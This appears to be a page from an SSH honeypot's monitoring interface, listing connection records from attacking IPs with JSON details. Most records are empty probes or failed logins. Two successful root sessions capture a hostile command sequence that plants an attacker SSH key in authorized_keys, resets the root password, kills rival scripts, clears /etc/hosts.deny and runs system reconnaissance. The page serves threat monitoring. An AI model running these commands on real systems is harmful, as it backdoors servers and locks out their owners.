nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 241 / 5287 (264312 total records)
Passive Observation Node - Active Operational Overview
101.96.225.252
2026-07-09 18:48:03.919984 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cc0f543f6556
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "cc0f543f6556",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:48:03.919984Z",
  "end_time": "2026-07-09T18:50:03.929040Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:46:38.163017 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7e15b4b71b45
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 18.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "7e15b4b71b45",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:46:38.163017Z",
  "end_time": "2026-07-09T18:46:56.666591Z",
  "duration": "18.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:45:34.763133 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e2366da18b5a
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e2366da18b5a",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:45:34.763133Z",
  "end_time": "2026-07-09T18:47:34.776733Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:45:25.749504 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a0db2889b29f
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a0db2889b29f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:45:25.749504Z",
  "end_time": "2026-07-09T18:47:25.760761Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:45:18.544948 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Gg123456!

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:mNP9ChR84WRP"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 6b597c9890e1
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 35.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "6b597c9890e1",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:45:18.544948Z",
  "end_time": "2026-07-09T18:45:53.970553Z",
  "duration": "35.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Gg123456!"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:mNP9ChR84WRP\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:mNP9ChR84WRP\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:44:18.943178 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 75dbafd470d9
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 18.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "75dbafd470d9",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:44:18.943178Z",
  "end_time": "2026-07-09T18:44:37.400678Z",
  "duration": "18.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:44:10.927990 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 78f346662a0b
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "78f346662a0b",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:44:10.927990Z",
  "end_time": "2026-07-09T18:46:10.935988Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:44:06.015901 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Support2025

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:4qCxHIDnMwb7"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 1bb541f0fe71
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 33.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "1bb541f0fe71",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:44:06.015901Z",
  "end_time": "2026-07-09T18:44:39.923085Z",
  "duration": "33.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Support2025"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:4qCxHIDnMwb7\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:4qCxHIDnMwb7\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:42:45.527571 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f76f2a65deb3
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 37.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "f76f2a65deb3",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:42:45.527571Z",
  "end_time": "2026-07-09T18:43:22.647077Z",
  "duration": "37.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:41:24.441073 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mati

Record ID: 798d285d58fa
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "798d285d58fa",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:41:24.441073Z",
  "end_time": "2026-07-09T18:41:27.499693Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mati",
      "pass": "mati123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:40:10.371325 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76186693bdf3
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 5.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "76186693bdf3",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:40:10.371325Z",
  "end_time": "2026-07-09T18:40:15.895714Z",
  "duration": "5.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:38:48.523670 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a478ffcffb21
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a478ffcffb21",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:38:48.523670Z",
  "end_time": "2026-07-09T18:40:48.560967Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:37:28.337146 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76b8ffdaf472
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "76b8ffdaf472",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:37:28.337146Z",
  "end_time": "2026-07-09T18:37:33.286166Z",
  "duration": "4.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:36:03.021129 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mysqluser

Record ID: 8351665b27a5
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "8351665b27a5",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:36:03.021129Z",
  "end_time": "2026-07-09T18:36:06.179861Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mysqluser",
      "pass": "mysqluser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:34:39.457014 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c4f08d98e882
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 8.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "c4f08d98e882",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:34:39.457014Z",
  "end_time": "2026-07-09T18:34:48.026504Z",
  "duration": "8.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:33:16.670624 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8b4cfafe5beb
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "8b4cfafe5beb",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:33:16.670624Z",
  "end_time": "2026-07-09T18:35:16.703637Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:31:57.612639 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6d74ab7251de
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "6d74ab7251de",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:31:57.612639Z",
  "end_time": "2026-07-09T18:33:57.645169Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:30:37.439510 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 44f508af9912
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "44f508af9912",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:30:37.439510Z",
  "end_time": "2026-07-09T18:32:37.474690Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:29:15.117069 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a99160abde78
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a99160abde78",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:29:15.117069Z",
  "end_time": "2026-07-09T18:31:15.143891Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:27:52.213911 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b0c31a22ba72
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b0c31a22ba72",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:27:52.213911Z",
  "end_time": "2026-07-09T18:29:52.233175Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:26:30.118062 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4d15e7ca1a16
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "4d15e7ca1a16",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:26:30.118062Z",
  "end_time": "2026-07-09T18:28:30.160239Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:25:13.775143 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dc61e1dff2da
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "dc61e1dff2da",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:25:13.775143Z",
  "end_time": "2026-07-09T18:27:13.784662Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
185.242.3.195
2026-07-09 18:25:08.397658 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Password22

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo OK
Record ID: 32b90af9eaae
Client Version: SSH-2.0-Go
Engagement Duration: 2.3s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "32b90af9eaae",
  "src_ip": "185.242.3.195",
  "start_time": "2026-07-09T18:25:08.397658Z",
  "end_time": "2026-07-09T18:25:10.679738Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Password22"
  },
  "commands": [
    "echo OK"
  ],
  "detailed_commands": [
    {
      "cmd": "echo OK",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:23:53.060862 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b03d12532fee
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b03d12532fee",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:23:53.060862Z",
  "end_time": "2026-07-09T18:25:53.104729Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
